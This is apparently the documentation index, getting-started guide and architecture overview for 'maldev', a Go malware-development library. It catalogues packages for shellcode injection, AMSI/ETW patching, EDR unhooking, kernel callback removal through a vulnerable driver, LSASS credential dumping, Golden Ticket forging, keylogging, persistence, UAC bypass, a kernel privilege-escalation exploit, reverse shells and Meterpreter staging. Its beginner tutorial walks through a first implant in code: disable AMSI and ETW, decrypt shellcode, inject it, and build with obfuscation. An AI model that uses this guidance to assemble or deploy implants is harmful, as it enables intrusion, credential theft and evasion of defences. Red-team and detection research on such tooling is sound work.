Documentation Index

← maldev README

The navigation spine for everything in docs/. Three ways in, depending on what you came for.

[!TIP] If you don't know where to start, pick a role first; the role page walks you through a curated reading order.

By role

RoleWhat you get
🟥 Operator (red team)Production chains, OPSEC, payload delivery, common scenarios
🔬 Researcher (R&D)Architecture, Caller pattern, paper references, Windows-version deltas
🟦 Detection engineer (blue team)Per-technique artifacts, telemetry, D3FEND counters, hunt examples

By technique area

Each area page lists every technique in the area with a one-liner; click through for the full template (Primer / How It Works / API / Examples / OPSEC / MITRE / Limitations / See also).

AreaPagesWhat's covered
c26reverse shell + reconnect, transport (TLS/JA3), Meterpreter staging, multicat, named pipe
cleanup7self-delete, secure wipe, timestomp, ADS, BSOD, service hide
collection5keylog, clipboard, screenshot, ADS, LSASS dump
credentials4LSASS dump, sekurlsa parser, SAM offline, Golden Ticket
crypto1payload encryption (AES-GCM, ChaCha20) and signature-breaking transforms (XTEA, S-Box, Matrix, ArithShift, XOR)
encode1Base64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand
hash2cryptographic hashes (MD5/SHA-*), ROR13 API hashing, fuzzy hashes (ssdeep, TLSH)
evasion19AMSI/ETW patches, ntdll unhook, sleep mask, ACG, BlockDLLs, callstack spoof, kernel callback removal, anti-VM/sandbox/timing
injection12CreateThread, EarlyBird APC, ThreadHijack, SectionMap, KernelCallback, Phantom DLL, ThreadPool, NtQueueApcThreadEx, EtwpCreateEtwThread, …
pe7strip & sanitize, BOF loader, morph, PE-to-shellcode, certificate theft, masquerade
persistence6Run/RunOnce, startup folder LNK, scheduled task, service, account creation
runtime2BOF / COFF loader, in-process .NET CLR hosting
syscalls3direct & indirect syscalls, API hashing (ROR13, FNV1a, …), SSN resolvers (Hell's / Halo's / Tartarus / Hash Gate)
tokens3token theft, impersonation, privilege escalation

By MITRE ATT&CK ID

T-IDPackages
T1003.001credentials/lsassdump · credentials/sekurlsa
T1003.002credentials/samdump
T1014kernel/driver · kernel/driver/rtcore64
T1016recon/network · win/domain
T1021.002c2/transport/namedpipe
T1027crypto · encode · evasion/hook/shellcode · evasion/sleepmask · win/api
T1027.002pe · pe/morph · pe/parse · pe/strip
T1027.005pe/strip · process/tamper/herpaderping · process/tamper/hideprocess · recon/hwbp
T1027.007win/syscall
T1027.013crypto
T1036evasion/callstack · evasion/stealthopen
T1036.005pe · pe/masquerade · process · process/tamper/fakecmd
T1053.005persistence · persistence/scheduler
T1055c2/meterpreter · inject · process/tamper/herpaderping
T1055.001inject · pe · pe/srdi
T1055.003inject
T1055.004inject
T1055.012inject
T1055.013process · process/tamper/herpaderping
T1055.015inject
T1056.001collection · collection/keylog
T1057process · process/enum
T1059c2 · c2/meterpreter · c2/shell · runtime/bof · runtime/clr
T1059.001c2/shell
T1059.003c2/shell
T1059.004c2/shell
T1068credentials/lsassdump · kernel/driver · kernel/driver/rtcore64 · privesc/cve202430088
T1070cleanup · cleanup/memory
T1070.004cleanup · cleanup/selfdelete · cleanup/wipe
T1070.006cleanup · cleanup/timestomp
T1071c2 · c2/transport · evasion/hook/bridge
T1071.001c2 · c2/meterpreter · c2/transport/namedpipe · useragent
T1078win/privilege
T1082win/domain · win/version
T1083recon/drive · recon/folder
T1095c2 · c2/meterpreter · c2/transport
T1098persistence/account
T1106pe · pe/imports · win/api · win/ntapi · win/syscall
T1113collection · collection/screenshot
T1115collection · collection/clipboard
T1120recon/drive
T1134win/privilege · win/token
T1134.001privesc/cve202430088 · process/session · win/impersonate · win/token
T1134.002process · process/session · win/impersonate · win/token
T1134.004win/impersonate
T1134.005win/token
T1136.001persistence · persistence/account
T1204.002persistence · persistence/lnk
T1497evasion · recon/sandbox
T1497.001recon/antivm
T1497.003recon/timing
T1529cleanup · cleanup/bsod
T1543.003cleanup · cleanup/service · kernel/driver · kernel/driver/rtcore64 · persistence · persistence/service
T1547.001persistence · persistence/registry · persistence/startup
T1547.009persistence · persistence/lnk · persistence/startup
T1548.002privesc/uac · recon/dllhijack · win/privilege
T1550.002credentials/sekurlsa
T1553.002pe · pe/cert
T1558.001credentials/goldenticket
T1558.003credentials/sekurlsa
T1562.001evasion · evasion/acg · evasion/amsi · evasion/blockdlls · evasion/cet · evasion/etw · evasion/kcallback · evasion/preset · evasion/unhook
T1562.002process · process/tamper/phant0m
T1564cleanup/service · process/tamper/fakecmd
T1564.001process · process/tamper/hideprocess
T1564.004cleanup · cleanup/ads
T1571c2 · c2/multicat
T1573c2 · c2/transport
T1573.001c2/cert
T1573.002c2 · c2/cert · c2/transport
T1574.001pe/dllproxy · recon/dllhijack
T1574.002pe/dllproxy
T1574.012evasion · evasion/hook · evasion/hook/bridge · evasion/hook/shellcode
T1620pe/srdi · runtime/bof · runtime/clr
T1622evasion · recon/antidebug · recon/hwbp

By package

Grouped by area, expandable. Click any package name to jump to its pkg.go.dev godoc; expand an area to scan every package's detection level and one-line summary in one place.

Each area is collapsed by default — click to expand. Detection level is the canonical 5-level scale (very-quietvery-noisy); umbrella / variable packages show as .

Layer 0 — pure-Go primitives (`crypto`, `encode`, `hash`, `random`, `useragent`) — 5 packages
PackageDetectionSummary
cryptovery-quietprovides cryptographic primitives for payload encryption / decryption and lightweight obfuscation
encodevery-quietprovides encoding / decoding utilities for payload transformation: Base64 (standard + URL-safe), UTF-16LE (Windows API strings), ROT13, and PowerShell -EncodedCommand format
hashvery-quietprovides cryptographic and fuzzy hash primitives for integrity verification, API hashing, and similarity detection
randomvery-quietprovides cryptographically secure random generation helpers backed by crypto/rand (OS entropy)
useragentvery-quietprovides a curated database of real-world browser User-Agent strings for HTTP traffic blending
Windows primitives — `win/*` — 10 packages
PackageDetectionSummary
winis the parent umbrella for Windows-only primitives
win/apivery-quietis the single source of truth for Windows DLL handles, procedure references, and structures shared across maldev
win/comholds Windows COM helpers shared across maldev
win/domainvery-quietqueries Windows domain-membership state — whether the host is workgroup-only, joined to an Active Directory domain, or in an unknown state
win/impersonatemoderateruns callbacks under an alternate Windows security context — by credential, by stolen token, or by piggy- backing on a target PID
win/ntapiquietexposes a small set of typed Go wrappers over ntdll!Nt* functions that maldev components use frequently — memory allocation, write/protect, thread creation, and system information query
win/privilegemoderateanswers two operational questions: am I admin right now, and how do I run something else as a different principal? It wraps IsAdmin / IsAdminGroupMember for privilege detection and three execution primitives — ExecAs, CreateProcessWithLogon, ShellExecuteRunAs — for spawning processes under alternate credentials
win/syscallquietprovides five strategies for invoking Windows NT syscalls — from a hookable kernel32 call to fully indirect SSN dispatch through an in-ntdll syscall;ret gadget (heap stub or Go-assembly stub) — under one uniform [Caller] interface
win/tokenmoderatewraps Windows access-token operations: open/duplicate process and thread tokens, steal a token from another PID, enable or remove individual privileges, query integrity level, and retrieve the active interactive session's primary token
win/versionvery-quietreports the running Windows OS version, build, and patch level — bypassing the manifest-compatibility shim that masks GetVersionEx results to the manifest-declared compatibility target
Kernel BYOVD — `kernel/driver/*` — 2 packages
PackageDetectionSummary
kernel/driververy-noisydefines the kernel-memory primitive interfaces consumed by EDR-bypass packages that need arbitrary kernel reads or writes (kcallback, lsassdump PPL-bypass, callback-array tampering, …)
kernel/driver/rtcore64very-noisywraps the MSI Afterburner RTCore64.sys signed driver (CVE-2019-16098) as a [kernel/driver.ReadWriter] primitive
Evasion — `evasion/*` — 15 packages
PackageDetectionSummary
evasionis the umbrella for active EDR / AV evasion
evasion/acgquietenables Arbitrary Code Guard for the current process so the kernel refuses any further VirtualAlloc(PAGE_EXECUTE) / VirtualProtect(PAGE_EXECUTE) requests
evasion/amsinoisydisables the Antimalware Scan Interface in the current process via runtime memory patches on amsi.dll
evasion/blockdllsquietapplies the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES mitigation so the loader refuses any DLL that isn't Microsoft-signed
evasion/callstackquietsynthesises a return-address chain so a stack walker at a protected-API call site sees frames that originate from a benign thread-init sequence rather than from the attacker module
evasion/cetnoisyinspects and relaxes Intel CET (Control-flow Enforcement Technology) shadow-stack enforcement for the current process, and exposes the ENDBR64 marker required by CET-gated indirect call sites
evasion/etwmoderateblinds Event Tracing for Windows in the current process by patching the ETW write helpers in ntdll.dll with xor rax,rax; ret
evasion/hooknoisyinstalls x64 inline hooks on exported Windows functions: patch the prologue with a JMP to a Go callback, automatically generate a trampoline for calling the original, and fix up RIP-relative instructions in the stolen prologue
evasion/hook/bridgemoderateis the bidirectional control channel between a hook handler installed inside a target process and the implant that placed it
evasion/hook/shellcodenoisyships pre-fabricated x64 position-independent shellcode blobs used as handler bodies for [github.com/oioio-space/maldev/evasion/hook].RemoteInstall
evasion/kcallbackvery-noisyenumerates and removes kernel-mode callback registrations that EDR products use to observe process/thread/image- load events from the kernel side
evasion/presetbundles evasion.Technique primitives into three validated risk levels for one-shot deployment
evasion/sleepmaskquietencrypts the implant's payload memory while it sleeps so concurrent memory scanners cannot recover the original shellcode bytes or PE headers
evasion/stealthopenquietreads files via NTFS Object ID (the 128-bit GUID stored in the MFT) instead of by path, bypassing path-based EDR hooks on NtCreateFile / CreateFileW
evasion/unhooknoisyrestores the original prologue bytes of ntdll.dll functions, removing inline hooks installed by EDR/AV products
Injection — `inject` — 1 package
PackageDetectionSummary
injectnoisyprovides unified shellcode injection across Windows and Linux with a fluent builder, decorator middleware, and automatic fallback between methods
PE manipulation — `pe/*` — 9 packages
PackageDetectionSummary
peis the umbrella for Portable Executable analysis, manipulation, and conversion utilities
pe/certquietmanipulates the PE Authenticode security directory — read, copy, strip, and write WIN_CERTIFICATE blobs without any Windows crypto API
pe/dllproxyvery-quietemits a valid Windows DLL — as raw bytes, no external toolchain — that forwards every named export back to a legitimate target DLL
pe/importsvery-quietenumerates a PE's import directory — every DLL dependency and every imported function name — without invoking any Windows API
pe/masqueradequietclones a Windows PE's identity — manifest, icons, VERSIONINFO, optional Authenticode certificate — into a linkable .syso COFF object so a Go binary picks them up at compile time
pe/morphmoderatemutates UPX-packed PE headers so automatic unpackers fail to recognise the input
pe/parsevery-quietprovides PE file parsing and modification utilities
pe/srdimoderateconverts PE / .NET / script payloads into position-independent shellcode via the Donut framework (github.com/Binject/go-donut)
pe/stripquietsanitises Go-built PE binaries by removing toolchain artefacts that fingerprint the producer
Runtime loaders — `runtime/*` — 2 packages
PackageDetectionSummary
runtime/bofmoderateloads and executes Beacon Object Files (BOFs) — compiled COFF object files (.o) — entirely in process memory
runtime/clrmoderatehosts the .NET Common Language Runtime in process via the ICLRMetaHost / ICorRuntimeHost COM interfaces and executes managed assemblies from memory without writing them to disk
Recon — `recon/*` — 9 packages
PackageDetectionSummary
recon/antidebugquietdetects whether a debugger is currently attached to the implant — Windows via IsDebuggerPresent (PEB BeingDebugged), Linux via /proc/self/status TracerPid
recon/antivmquietdetects virtual machines and hypervisors via configurable check dimensions: registry keys, files, MAC prefixes, processes, CPUID/BIOS, and DMI info
recon/dllhijackmoderatediscovers DLL-search-order hijack opportunities on Windows — places where an application loads a DLL from a user-writable directory BEFORE reaching the legitimate copy (typically in System32)
recon/drivequietenumerates Windows logical drives and watches for newly connected removable / network volumes
recon/foldervery-quietresolves Windows special folder paths via two Shell32 entry points: [Get] (legacy SHGetSpecialFolderPathW, CSIDL-keyed) and [GetKnown] (modern SHGetKnownFolderPath, KNOWNFOLDERID-keyed)
recon/hwbpmoderatedetects and clears hardware breakpoints set by EDR products on NT function prologues — surviving the classic ntdll-on-disk-unhook pass
recon/networkvery-quietprovides cross-platform IP address retrieval and local-address detection
recon/sandboxquietis the multi-factor sandbox / VM / analysis-environment detector — a configurable orchestrator that aggregates checks across recon/antidebug, recon/antivm, and its own primitives into a single "is this a sandbox?" assessment
recon/timingquietprovides time-based evasion that defeats sandboxes which fast-forward Sleep() calls — sandboxes commonly hook Sleep / WaitForSingleObject to skip the delay and analyse what the implant does next
Process — `process/*` + `process/tamper/*` — 7 packages
PackageDetectionSummary
processis the umbrella for cross-platform process enumeration / management, plus the Windows-specific process-tamper sub-tree
process/enumquietprovides cross-platform process enumeration — list every running process or find one by name / predicate
process/sessionmoderateenumerates Windows sessions and creates processes / impersonates threads inside other users' sessions
process/tamper/fakecmdquietoverwrites the current process's PEB CommandLine UNICODE_STRING so process-listing tools (Process Explorer, wmic, Get-Process, Task Manager) display a fake command-line instead of the real one
process/tamper/herpaderpingmoderateimplements Process Herpaderping and the related Process Ghosting variant — kernel image-section cache exploitation that lets the running process execute one PE while the file on disk reads as another (or doesn't exist)
process/tamper/hideprocessmoderatepatches NtQuerySystemInformation in a target process so it returns STATUS_NOT_IMPLEMENTED, blinding that process's ability to enumerate running processes
process/tamper/phant0mnoisysuppresses Windows Event Log recording by terminating the EventLog service threads inside the hosting svchost.exe — the service stays "Running" in the SCM listing but no new entries are written
Credentials — `credentials/*` — 4 packages
PackageDetectionSummary
credentials/goldenticketnoisyforges Kerberos Golden Tickets — long-lived TGTs minted with a stolen krbtgt account hash
credentials/lsassdumpnoisyproduces a MiniDump blob of lsass.exe's memory so downstream tooling (credentials/sekurlsa, mimikatz, pypykatz) can extract Windows credentials
credentials/samdumpquietperforms offline NT-hash extraction from a SAM hive (with the SYSTEM hive supplying the boot key)
credentials/sekurlsaquietextracts credential material from a Windows LSASS minidump — the consumer counterpart to credentials/lsassdump
Collection — `collection/*` — 4 packages
PackageDetectionSummary
collectiongroups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures
collection/clipboardquietreads and watches the Windows clipboard text
collection/keylognoisycaptures keystrokes via a low-level keyboard hook (SetWindowsHookEx(WH_KEYBOARD_LL))
collection/screenshotquietcaptures the screen via GDI BitBlt and returns PNG bytes
Cleanup — `cleanup/*` — 8 packages
PackageDetectionSummary
cleanupquietis the umbrella for on-host artefact removal / anti-forensics primitives that run after an operation completes
cleanup/adsquietprovides CRUD operations for NTFS Alternate Data Streams
cleanup/bsodvery-noisytriggers a Blue Screen of Death via NtRaiseHardError as a last-resort cleanup primitive
cleanup/memoryvery-quietprovides secure memory cleanup primitives for wiping sensitive data (shellcode, keys, credentials) from process memory
cleanup/selfdeletemoderatedeletes the running executable from disk while the process continues to execute from its mapped image
cleanup/servicenoisyhides Windows services from listing utilities by applying a restrictive DACL on the service object
cleanup/timestompquietresets a file's NTFS $STANDARD_INFORMATION timestamps so a dropped artifact blends with surrounding files
cleanup/wipequietoverwrites file contents with cryptographically random data before deletion to defeat trivial forensic recovery
Persistence — `persistence/*` — 7 packages
PackageDetectionSummary
persistenceis the umbrella for system persistence techniques — mechanisms that re-launch an implant across reboots and user logons
persistence/accountnoisyprovides Windows local user account management via NetAPI32 — create, delete, set password, manage group membership, enumerate
persistence/lnkquietcreates Windows shortcut (.lnk) files via COM/OLE automation — fluent builder API, fully Windows-only
persistence/registrymoderateimplements Windows registry Run / RunOnce key persistence — the canonical "auto-launch on logon" hook
persistence/schedulermoderatecreates, deletes, lists, and runs Windows scheduled tasks via the COM ITaskService API — no schtasks.exe child process
persistence/servicenoisyimplements Windows service persistence via the Service Control Manager — the highest-trust persistence mechanism available, running as SYSTEM at boot
persistence/startupmoderateimplements StartUp-folder persistence via LNK shortcut files — Windows Shell launches every shortcut in the folder at user logon
Privilege escalation — `privesc/*` — 2 packages
PackageDetectionSummary
privesc/cve202430088noisyimplements CVE-2024-30088 — a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes that yields local privilege escalation to NT AUTHORITY\SYSTEM by overwriting the calling thread's primary token with lsass.exe's SYSTEM token
privesc/uacnoisyimplements four classic UAC-bypass primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt
C2 — `c2/*` — 7 packages
PackageDetectionSummary
c2provides command and control building blocks: reverse shells, Meterpreter staging, pluggable transports (TCP / TLS / uTLS / named pipe), mTLS certificate helpers, and session multiplexing
c2/certquietprovides self-signed X.509 certificate generation and fingerprint computation for C2 TLS infrastructure
c2/meterpreternoisyimplements Metasploit Framework staging — pulls a second-stage Meterpreter payload from a multi/handler and executes it in the current process or a target picked via the optional Config.Injector
c2/multicatquietprovides a multi-session reverse-shell listener for operator use
c2/shellnoisyprovides a reverse shell with automatic reconnection, PTY support, and optional Windows evasion integration
c2/transportmoderateprovides pluggable network transport implementations for C2 communication: plain TCP, TLS with optional certificate pinning, and uTLS for JA3/JA4 fingerprint randomisation
c2/transport/namedpipequietprovides a Windows named-pipe transport implementing the [github.com/oioio-space/maldev/c2/transport] Transport and Listener interfaces
UI utilities — 1 package
PackageDetectionSummary
uivery-quietexposes minimal Windows UI primitives — MessageBoxW via Show and the system alert sound via Beep

Cross-cutting guides

GuideWhat it explains
getting-started.mdConcepts, terminology, your first implant
architecture.mdLayered design, dependency flow, Mermaid diagrams
opsec-build.mdBuild pipeline: garble, pe/strip, masquerade
mitre.mdFull MITRE ATT&CK + D3FEND mapping
testing.mdPer-test-type details: injection matrix, Meterpreter sessions, BSOD
vm-test-setup.mdBootstrap a fresh host (VMs, SSH keys, INIT snapshot)
coverage-workflow.mdReproducible cross-platform coverage collection

Conventions

DocAudience
conventions/documentation.mdAnyone editing docs (this is the source of truth for templates, GFM features, voice, migration order)
refactor-2026-doc/audit-2026-04-27.mdSnapshot of pre-refactor state — how we got here

Getting Started

← Back to README

Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.

Prerequisites

  • Go 1.21+ installed
  • Windows for most techniques (some work cross-platform)
  • Basic Go knowledge (functions, packages, error handling)
  • For OPSEC builds: garble (go install mvdan.cc/garble@latest)

Installation

go get github.com/oioio-space/maldev@latest

Core Concepts

What is maldev?

maldev is a library, not a framework. You import the packages you need and compose them:

graph LR
    A[Your implant] --> B[inject/ — run shellcode]
    A --> C[evasion/ — avoid detection]
    A --> D[c2/ — communicate home]
    A --> E[cleanup/ — cover tracks]

The Five Levels of Stealth

Every technique has a detection level declared in its doc.go. Choose based on your threat model:

LevelMeaningExample
very-quietIndistinguishable from baseline activityRtlGetVersion, NetGetJoinInformation
quietUsed routinely but in attacker-shaped patternsIndirect syscall, hash-resolved import
moderateWatched by EDR but common in benign softwareRWX VirtualAlloc, thread creation
noisyPattern is in every vendor's signature DBCross-process inject, UAC bypass
very-noisyTriggers an alert by defaultNtLoadDriver for an unsigned driver, NtUnloadDriver

Find the detection level for any package on its tech-md page (e.g., docs/techniques/evasion/amsi-bypass.md) and in its doc.go # Detection level section.

The Caller Pattern

The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:

// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
    Method: inject.MethodCreateRemoteThread,
    PID:    pid,
})
injector.Inject(shellcode)

// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
    Method(inject.MethodCreateRemoteThread).
    PID(pid).
    IndirectSyscalls().
    Create()
injector.Inject(shellcode)

Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.

Your First Program

Step 1: Evasion (disable defenses)

package main

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
)

func main() {
    // Apply evasion techniques before doing anything suspicious
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),  // disable AMSI scanning
        etw.All(),               // disable ETW logging
    }
    evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}

Step 2: Load shellcode

import "github.com/oioio-space/maldev/crypto"

// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)

Step 3: Inject

import "github.com/oioio-space/maldev/inject"

cfg := &inject.Config{
    Method: inject.MethodCreateThread,  // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)

Step 4: Build for operations

# Development build (with logging)
make debug

# Release build (OPSEC, no strings, no debug info)
make release

Per-Package Quick-Reference

If you know the technique you want, jump straight to the matching package:

GoalPackageDoc
Encrypt the payload before embeddingcryptoPayload Encryption
Encode the payload for transportencodeEncode
Patch AMSI / ETW in-processevasion/amsi, evasion/etwAMSI · ETW
Restore hooked ntdllevasion/unhookNTDLL Unhooking
Sleep with masked memoryevasion/sleepmaskSleep Mask
Spoof a callstack frameevasion/callstackCallstack Spoof
Remove EDR kernel callbacksevasion/kcallbackKernel-Callback Removal
BYOVD kernel R/Wkernel/driver (rtcore64)BYOVD RTCore64
Direct/indirect syscallswin/syscallSyscall Methods
Inject shellcodeinject/* (15 methods)Injection
Reflectively load a PEpe/srdiPE → Shellcode
Strip Go fingerprintspe/stripStrip + Sanitize
Run a .NET assembly in-processruntime/clrRuntime
Run a Beacon Object Fileruntime/bofRuntime
Dump LSASScredentials/lsassdumpLSASS Dump
Parse a MINIDUMP for NT hashescredentials/sekurlsaLSASS Parse
Bypass UACprivesc/uacPrivilege
Spoof a process command-lineprocess/tamper/fakecmdFakeCmd
Suspend Event Log threadsprocess/tamper/phant0mPhant0m
Persistence — registrypersistence/registryRegistry
Persistence — Startup folderpersistence/startupStartup Folder
Persistence — scheduled taskpersistence/schedulerTask Scheduler
Capture clipboard / keys / screencollection/{clipboard,keylog,screenshot}Collection
Reverse shellc2/shellReverse Shell
Metasploit stagingc2/meterpreterMeterpreter
Multi-session listener (operator side)c2/multicatMulticat
Named-pipe transportc2/transport/namedpipeNamed Pipe
Wipe in-process bufferscleanup/memoryMemory Wipe
Self-delete on exitcleanup/selfdelSelf-Delete
Compute fuzzy hash similarityhashFuzzy Hashing

For the full layered map, see Architecture § Per-Package Quick-Reference.

GoalRead
Understand the architectureArchitecture
Learn injection techniquesInjection Techniques
Learn EDR evasionEvasion Techniques
Understand syscall bypassSyscall Methods
Set up C2 communicationC2 & Transport
Build for operationsOPSEC Build Guide
See composed examplesExamples
Full MITRE coverageMITRE ATT&CK + D3FEND Mapping

Terminology Quick Reference

TermMeaning
ShellcodeRaw machine code bytes that execute independently
InjectionRunning code in another process's address space
EDREndpoint Detection & Response (e.g., CrowdStrike, Defender)
HookEDR modification of function prologues to intercept calls
SyscallDirect kernel call, bypassing userland hooks
SSNSyscall Service Number — index into kernel's function table
PEBProcess Environment Block — per-process kernel structure
AMSIAntimalware Scan Interface — Microsoft's content scanning API
ETWEvent Tracing for Windows — kernel telemetry system
Callermaldev's abstraction for choosing syscall routing method
OPSECOperational Security — avoiding detection and attribution

Architecture

← Back to README

Layered Design

maldev follows a strict bottom-up dependency model. Each layer only depends on layers below it.

graph TD
    subgraph "Layer 0 — Pure Go (no OS calls)"
        crypto["crypto/"]
        encode["encode/"]
        hash["hash/"]
        random["random/"]
        useragent["useragent/"]
    end

    subgraph "Layer 1 — OS Primitives"
        api["win/api<br>DLL handles, PEB walk, API hashing"]
        syscall["win/syscall<br>Direct/Indirect syscalls, HashGate"]
        ntapi["win/ntapi<br>Typed NT wrappers, handle enum"]
        token["win/token<br>Token manipulation"]
        privilege["win/privilege<br>Elevation helpers"]
        impersonate["win/impersonate<br>Thread impersonation"]
        version["win/version<br>Version detection"]
        domain["win/domain<br>Domain membership"]
        kerneldriver["kernel/driver<br>BYOVD primitives (Reader/Writer/Lifecycle)"]
    end

    subgraph "Layer 2 — Techniques"
        inject["inject/<br>15 injection methods"]
        evasion["evasion/<br>active evasion (amsi, etw, unhook, sleepmask, callstack, kcallback, …)"]
        recon["recon/<br>read-only discovery (antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network)"]
        cleanup["cleanup/<br>memory, files, timestamps, ads, bsod"]
        pe["pe/<br>parse, strip, morph, srdi, cert, masquerade, imports"]
        runtime["runtime/<br>in-process loaders (clr, bof)"]
        process_tamper["process/tamper/<br>hideprocess, herpaderping, fakecmd, phant0m"]
        process["process/<br>enum, session"]
        ui["ui/<br>MessageBox + sounds"]
        credentials["credentials/<br>lsassdump (LSASS dump + PPL unprotect)"]
        privesc["privesc/<br>uac (4 bypass) + cve202430088 (kernel LPE)"]
        persistence["persistence/<br>registry, startup, scheduler, service, lnk, account"]
    end

    subgraph "Layer 3 — Orchestration"
        shell["c2/shell<br>Reverse shell + state machine"]
        meterpreter["c2/meterpreter<br>Metasploit staging"]
        transport["c2/transport<br>TCP, TLS, uTLS, Malleable HTTP"]
        cert["c2/cert<br>Certificate generation"]
    end

    %% Dependencies
    api --> hash
    syscall --> api
    ntapi --> api
    inject --> api
    inject --> syscall
    evasion --> api
    evasion --> syscall
    evasion --> kerneldriver
    kerneldriver --> api
    credentials --> kerneldriver
    privesc --> ntapi
    privesc --> token
    privesc --> inject
    process_tamper --> api
    shell --> transport
    shell --> evasion
    meterpreter --> transport
    meterpreter --> inject
    meterpreter --> useragent

Caller Pattern

The *wsyscall.Caller is the central OPSEC mechanism. Any function that calls NT syscalls accepts an optional Caller parameter:

flowchart LR
    A[Your Code] --> B{Caller?}
    B -->|nil| C[Standard WinAPI<br>kernel32 → ntdll]
    B -->|WinAPI| C
    B -->|NativeAPI| D[ntdll directly]
    B -->|Direct| E[Syscall stub<br>in RW→RX page]
    B -->|Indirect| F[Jump to ntdll<br>syscall;ret gadget]

    E --> G[SSN Resolver]
    F --> G
    G --> H{Resolver Type}
    H -->|HellsGate| I[Read prologue]
    H -->|HalosGate| J[Scan neighbors]
    H -->|TartarusGate| K[Follow JMP hook]
    H -->|HashGate| L[PEB walk + ROR13]

Evasion Composition

Evasion techniques compose via the evasion.Technique interface:

flowchart TD
    A[Configure Techniques] --> B["techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),
    }"]
    B --> C["evasion.ApplyAll(techniques, caller)"]
    C --> D{Each technique}
    D --> E[AMSI: Patch prologue]
    D --> F[ETW: Patch 6 functions]
    D --> G[Unhook: Restore .text]
    E --> H[Ready for injection]
    F --> H
    G --> H

Memory Protection Lifecycle

All injection methods follow the RW→RX pattern (never RWX):

stateDiagram-v2
    [*] --> Allocate: VirtualAlloc(PAGE_READWRITE)
    Allocate --> Write: Copy shellcode
    Write --> Protect: VirtualProtect(PAGE_EXECUTE_READ)
    Protect --> Execute: CreateThread / APC / Callback
    Execute --> Cleanup: WipeAndFree / Sleep Mask
    Cleanup --> [*]

    state "Sleep Mask Cycle" as SM {
        [*] --> Encrypt: XOR + PAGE_READWRITE
        Encrypt --> Sleep: time.Sleep / BusyWaitTrig
        Sleep --> Decrypt: XOR + Restore original
        Decrypt --> [*]
    }

    Execute --> SM: Between beacons
    SM --> Execute: Wake up

Per-Package Quick-Reference

One-line "what's in here" for every shipping package, grouped by layer. Click any package name to jump to its area-doc or technique page.

Layer 0 — Pure Go (no OS calls)

PackageSurface
crypto/AES-GCM, ChaCha20, RC4, XOR, TEA/XTEA, S-box, matrix, arith — payload encryption + obfuscation primitives
encode/Base64 (std + URL), UTF-16LE, PowerShell -EncodedCommand, ROT13
hash/MD5/SHA1/SHA256/SHA512, ROR13 (API hashing), ssdeep, TLSH
random/Crypto-secure random bytes, XOR-shift PRNG
useragent/Browser-realistic User-Agent strings

Layer 1 — OS Primitives

PackageSurface
win/apiDLL handles (User32, Kernel32, …), PEB walk, API hashing
win/syscallDirect + Indirect syscalls, HashGate lookup
win/ntapiTyped Nt* wrappers, handle enumeration
win/tokenToken open/duplicate/info
win/privilegeElevation helpers (SeDebugPrivilege, …)
win/impersonateThread impersonation
win/version, win/domainVersion + domain membership
kernel/driverKernelReader / KernelReadWriter BYOVD interfaces (rtcore64 impl)
process/enum, process/sessionProcess enumeration + session helpers

Layer 2 — Techniques (active)

PackageSurface
evasion/amsiPatchScanBuffer, PatchOpenSession, All
evasion/etwEtwEventWrite patch, EtwTi patch, All
evasion/unhookRestore ntdll text section
evasion/sleepmaskEkko, Foliage, multi-region rotation
evasion/callstackSpoofCall synthetic frames
evasion/kcallbackEnumerate, Remove, Restore (BYOVD)
evasion/presetApply, ApplyAll orchestration
kernel/driver/rtcore64RTCore64 BYOVD driver lifecycle (moved out of evasion/ — Layer 1 BYOVD primitive)
evasion/stealthopenOpener interface + transactional NTFS
process/tamper/fakecmdPEB CommandLine spoof
process/tamper/hideprocessProcess Hacker / Explorer in-memory patch
process/tamper/phant0mSuspend EventLog threads
recon/*antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network
inject/15 injection methods (CRT, EarlyBird, ETW thread, KernelCallbackTable, ModuleStomp, NtQueueApcEx, RemoteThread, SectionMap, ThreadHijack, ThreadPool, …)
pe/*parse, strip, morph (UPX), srdi, cert, masquerade, imports
cleanup/*memory wipe, self-delete, timestomp, ADS
runtime/clrIn-process .NET CLR host
runtime/bofBeacon Object File loader
credentials/lsassdumpLSASS minidump producer + PPL bypass
credentials/sekurlsaMINIDUMP → MSV1_0 NT-hash extractor (cross-platform)
privesc/uac4 UAC bypass primitives + EventVwrLogon alt-creds variant
privesc/cve202430088CVE-2024-30088 kernel TOCTOU → SYSTEM token swap

Layer 2 — Post-exploitation

PackageSurface
persistence/registryRun, RunOnce, image-file-execution-options
persistence/startup.lnk drop in user/all-users Startup
persistence/schedulerschtasks wrapper with trigger options
persistence/serviceSCM service install (auto-start / on-demand / kernel-driver)
persistence/lnkShortcut creation with hidden window + minimised state
persistence/accountLocal user / group manipulation via NetUserAdd / NetLocalGroupAddMembers
collection/clipboardReadText, Watch
collection/keylogLow-level WH_KEYBOARD_LL hook + Ctrl+V capture
collection/screenshotPer-monitor + virtual-desktop PNG capture
collection/adsNTFS Alternate Data Streams

Layer 3 — Orchestration

PackageSurface
c2/shellReverse-shell state machine + PPID-spoofer
c2/meterpreterMetasploit reverse-staging (TCP/HTTP/HTTPS/TLS)
c2/transportTCP, TLS, uTLS, malleable HTTP, named-pipe
c2/multicatOperator-side multi-session listener
c2/certSelf-signed cert generation

Build Pipeline

flowchart LR
    A[Source Code] --> B[garble -literals -tiny]
    B --> C[go build -trimpath -ldflags='-s -w']
